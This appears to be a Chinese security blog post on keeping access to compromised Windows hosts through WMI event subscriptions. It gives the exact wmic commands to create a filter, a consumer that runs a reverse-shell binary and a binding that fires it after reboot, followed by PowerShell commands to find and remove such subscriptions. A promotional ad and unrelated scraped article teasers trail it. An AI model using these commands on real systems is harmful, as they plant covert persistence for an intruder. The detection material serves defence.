news 2026/2/8 18:34:31

内网权限维持——利用WMI进行权限维持

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
内网权限维持——利用WMI进行权限维持
文章目录
  • 一、WMI事件订阅机制简介
  • 二、利用事件订阅进行权限维持
  • 三、防御方式

一、WMI事件订阅机制简介

WMI(Windows Management Instrumentation,Windows管理规范)是windows提供的一种能够直接与系统进行交互的机制,旨在为系统中运行的各程序界定一套独立于环境的标准,允许系统中允许的程序相互交流系统的程序管理信息。

WMI事件是Windows管理架构中的一部分,它可以监视应用程序的运行、响应系统和应用程序的事件。通过使用WMI事件,应用程序可以接收系统各类通知,并且在特定事件发生时采取相应的措施。例如,磁盘空间不足时可以通过WMI事件来发出警报等。WMI事件可以通过编写WMI查询或使用WMI事件订阅API来捕获。

WMI事件订阅是一种消息机制,用来监听事件类的触发。简单来书,设置一个监听磁盘空间不足的事件订阅,程序可以在磁盘不足的第一时间接收到WMI的告警。事件订阅中有很多类,这里主要关注以下类:

类名作用
EventFilter触发器
EventConsumer执行动作
FilterToConsumerBinding绑定过滤器和消费者类(负责捆绑EventFilter和EventConsumer)

二、利用事件订阅进行权限维持

1、WQL是一种类似SQL的查询语句,是WMI提供的一种用于WMI查询或WMI事件订阅的语句。在命令行中输入wbemtest,打开Windows Management Instrumentation测试器来通过WQL语句查询系统信息。

wbemtest


打开后进入一个命名空间,点击“连接”——“查询”。


使用WQL查询当前系统中所有进程的PID。

select * from Win32_Process


此外,还有其他查询语句。

# 获取主机名 select * from Win32_ComputerSystem # 获取BOIS信息 select * from Win32_BOIS # 获取键盘信息 select * from Win32_Keyboard # 获取服务列表 select * from Win32_Service # 获取磁盘列表 select * from Win32_LogicalDisk # 获取光驱信息 select * from Win32_CDROMDriver

2、利用WMI通知查询的方式来监听windows打印机任务,选择“通知查询”。并使用如下WQL语句:

select * from __InstanceCreationEvent within 0.001 where TargetInstance ISA "Win32_PrintJob" # __InstanceCreateEvent:代表windows事件类 # within 0.001:代表轮询时间,轮询时间为0.001s,可以理解为每毫秒查询一次该事件 # TargetInstance:实例名称 # ISA:等于 # Win32_PrintJob:打印机名称

3、我们可以将通知查询和执行动作进行捆绑,捆绑之后,系统触发某项查询规则时会立即执行对应动作。首先创建一个触发器,代码如下:

# 在系统初始化之后的第60秒将会进行通知 wmic /namespace:"\\root\subscription" PATH __EventFilter create Name="Testone",EventNameSpace="root\cimv2",Querylanguage="WQL",Query="select * from __InstanceModificationEvent within 60 where TargetInstance ISA "Win32_PerfFormattedData_PerfOS_SYSTEM"" # __EventFilter:触发器 # Testone:触发器名称 # 触发的通知条件由Query决定 # Win32_PerfFormattedData_PerfOS_SYSTEM:windows系统初始化

4、创建好触发器后,需要绑定一个对应的执行动作,也就是触发器在查询到想要的内容后就会触发绑定的执行动作。执行动作需要将命名空间指定为触发器所设置的命名空间,创建执行动作可以使用EventConsumer来完成。当然,需要生成反弹shell,设置监听器哈!

# 当Testone时间被触发后,C:\tmp\reverse_shell.exe将会被执行 wmic /namespace:"\\root\subscription" PATH CommandLineEventConsumer create Name="Testone",ExecutablePath="C:\tmp\reverse_shell.exe",CommandLineTemplate="C:\tmp\reverse_shell.exe"


5、使用FilterToConsumerBinding来绑定刚刚所创建的触发器和执行动作。

# 绑定触发器和执行动作 wmic /namespace:"\\root\subscription" PATH __FilterToConsumerBinding create Filter="__EventFilter.Name=\"Testone\"",Consumer="CommandLineEventConsumer.Name=\"Testone\""


6、重启计算,在系统进行初始化工作(重启/重新登录)的第60秒,获取反弹shell。

三、防御方式

# 查询系统所有命名空间 Get-WmiObject -Namespace root -List -Recurse | Select -Unique __NAMESPACE
# 查询root\subscription命名空间中是否存在执行恶意命令的触发器 Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | select CommandLineTemplate,ExecutablePath

# 列出事件过滤器 Get-WMIObject -Namespace root\Subscription -Class __EventFilter

# 列出事件消费者 Get-WMIObject -Namespace root\Subscription -Class __EventConsumer

# 列出事件绑定 Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding

# 删除事件过滤器 Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='Testone'" | Remove-WmiObject -Verbose

# 删除事件消费者 Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='Testone'" | Remove-WmiObject -Verbose

# 删除事件绑定 Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%Testone%'" | Remove-WmiObject -Verbose

# 查询root\subscription命名空间中是否存在执行恶意命令的触发器 Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | select CommandLineTemplate,ExecutablePath


至此,系统初始化后的第60s,不会运行反弹shell脚本。

学习资源

如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你

知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。

1、知识库价值

深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。

实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

2、 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。

内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

3、适合学习的人群

一、基础适配人群

  1. 零基础转型者‌:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链‌;
  2. 开发/运维人员‌:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展‌或者转行就业;
  3. 应届毕业生‌:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期‌;

二、能力提升适配

1、‌技术爱好者‌:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者‌;

2、安全从业者‌:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力‌;

3、‌合规需求者‌:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员‌;

因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/4 23:55:02

FlashMLA 加速推理技术

来源: https://developer.aliyun.com/article/1653387 代码:https://github.com/deepseek-ai/FlashMLAFlashMLA 简介 FlashMLA 是一款专为 NVIDIA Hopper 架构 GPU 优化的高效 MLA(Multi-Head Linear Attention)解码内核&#xff…

作者头像 李华
网站建设 2026/2/8 18:26:50

将QtNodes添加到Qt项目中

文章目录背景和思路步骤背景和思路 最近想开发一个基于Node编辑的SOMEIP编辑器。因此需要将QtNodes项目引入到自己的项目中。 思路是将QtNodes作为submodule添加到自己git仓库中。 步骤 将QtNodes作为submodule加入到git仓库。下面指令将QtNodes引入到自己项目的“3rdparty/…

作者头像 李华
网站建设 2026/2/7 15:34:57

强烈安利10个AI论文网站,MBA论文写作必备!

强烈安利10个AI论文网站,MBA论文写作必备! AI 工具如何助力 MBA 论文写作? 在当前的学术环境中,MBA 学员们正面临越来越高的论文写作要求。无论是选题、结构搭建,还是内容撰写与降重,每一个环节都对学生的专…

作者头像 李华
网站建设 2026/2/5 6:31:40

python基于vue的校园电影网站的设计与实现django flask pycharm

目录校园电影网站的设计与实现摘要系统功能模块技术实现与优化总结开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!校园电影网站的设计与实现摘要 设计并实现一个基于Vue.js前端框架与Pytho…

作者头像 李华
网站建设 2026/2/6 0:28:19

Linux日志管理与分析实战:从轮转到集中收集

前言 日志是排查问题的第一手资料。但日志管理不好,要么磁盘被占满,要么关键时刻找不到日志。Linux提供了logrotate、journald等工具管理日志,但在分布式环境下,还需要集中收集和分析。 这篇文章从单机日志管理到集中收集方案&…

作者头像 李华
网站建设 2026/2/8 0:42:44

学长学姐私藏:6款免费降AI工具实测分享,省下几百块

学长学姐私藏:6款免费降AI工具实测分享,省下几百块 TL;DR:想降AI率又不想花太多钱?这篇是真正帮你省钱的干货。实测6款有免费额度的降AI工具,其中嘎嘎降AI(免费1000字)和比话降AI效果最好&#…

作者头像 李华